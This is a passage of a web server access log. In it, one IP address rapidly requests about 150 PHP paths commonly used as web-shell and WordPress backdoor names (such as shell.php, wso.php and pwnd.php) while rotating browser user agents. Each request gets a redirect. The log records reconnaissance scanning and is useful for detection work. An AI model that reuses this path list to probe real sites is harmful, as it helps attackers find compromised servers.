(KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:35:12 -0400] "GET /login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:13 -0400] "GET /eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 84.17.35.82 - - [27/Apr/2025:19:35:13 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:13 -0400] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 84.17.35.82 - - [27/Apr/2025:19:35:13 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 84.17.35.82 - - [27/Apr/2025:19:35:13 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:13 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:13 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:13 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:14 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:35:14 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:14 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:14 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 84.17.35.82 - - [27/Apr/2025:19:35:14 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:14 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 84.17.35.82 - - [27/Apr/2025:19:35:14 -0400] "GET /rex/l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:14 -0400] "GET /wp-content/plugins/rex/l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 84.17.35.82 - - [27/Apr/2025:19:35:14 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:15 -0400] "GET /.well-known/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 84.17.35.82 - - [27/Apr/2025:19:35:15 -0400] "GET /chosen.phppload HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:15 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:15 -0400] "GET /sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 84.17.35.82 - - [27/Apr/2025:19:35:15 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 84.17.35.82 - - [27/Apr/2025:19:35:15 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 84.17.35.82 - - [27/Apr/2025:19:35:15 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:15 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:15 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:15 -0400] "GET /user/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 84.17.35.82 - - [27/Apr/2025:19:35:16 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:16 -0400] "GET /wp-includes/css/dist/niil.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:16 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:35:16 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:16 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:35:16 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:16 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 84.17.35.82 - - [27/Apr/2025:19:35:16 -0400] "GET /pgs.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:16 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:35:16 -0400] "GET /mjq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:17 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 84.17.35.82 - - [27/Apr/2025:19:35:17 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 84.17.35.82 - - [27/Apr/2025:19:35:17 -0400] "GET /litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:17 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 84.17.35.82 - - [27/Apr/2025:19:35:17 -0400] "GET /.qiodeme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:17 -0400] "GET /ad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:35:17 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 84.17.35.82 - - [27/Apr/2025:19:35:17 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 84.17.35.82 - - [27/Apr/2025:19:35:17 -0400] "GET /df.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 84.17.35.82 - - [27/Apr/2025:19:35:18 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 84.17.35.82 - - [27/Apr/2025:19:35:18 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:18 -0400] "GET /Files/Mo0n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:18 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:35:18 -0400] "GET /bv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:18 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:18 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:18 -0400] "GET /bk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:18 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:18 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:19 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:19 -0400] "GET /hj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 84.17.35.82 - - [27/Apr/2025:19:35:19 -0400] "GET /sym.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:19 -0400] "GET /lp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:19 -0400] "GET /Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:19 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:19 -0400] "GET /yt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:19 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:19 -0400] "GET /x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:19 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 84.17.35.82 - - [27/Apr/2025:19:35:20 -0400] "GET /.github/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:20 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:35:20 -0400] "GET /bn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:20 -0400] "GET /wordpress/update/wpupex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 84.17.35.82 - - [27/Apr/2025:19:35:20 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:20 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:20 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:20 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:21 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:21 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:35:21 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:21 -0400] "GET /wp-admin/includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:21 -0400] "GET /wp-includes/ID3/about.php/wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:35:21 -0400] "GET /wpn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:21 -0400] "GET /wp-admin/css/colors/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 84.17.35.82 - - [27/Apr/2025:19:35:21 -0400] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:21 -0400] "GET /wp-includes/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:22 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:22 -0400] "GET /wp-content/themes/xc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:22 -0400] "GET /baxa1.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:22 -0400] "GET /av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:35:22 -0400] "GET /network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:22 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 84.17.35.82 - - [27/Apr/2025:19:35:22 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:22 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 84.17.35.82 - - [27/Apr/2025:19:35:22 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:22 -0400] "GET /wp-content/Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:23 -0400] "GET /vv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:23 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:23 -0400] "GET /wp-user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:23 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:23 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:23 -0400] "GET /assets/css/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 84.17.35.82 - - [27/Apr/2025:19:35:23 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:35:24 -0400] "GET /ff.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:24 -0400] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:35:24 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 84.17.35.82 - - [27/Apr/2025:19:35:24 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:24 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:24 -0400] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:24 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:24 -0400] "GET /wp-includes/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:24 -0400] "GET /wp-admin/maint/flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:24 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:24 -0400] "GET /wp-tinymce.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 84.17.35.82 - - [27/Apr/2025:19:35:24 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:25 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:35:25 -0400] "GET /retu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:25 -0400] "GET /aw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:25 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:35:25 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:25 -0400] "GET /dr.php HTTP/1.1" 301 795 "-" 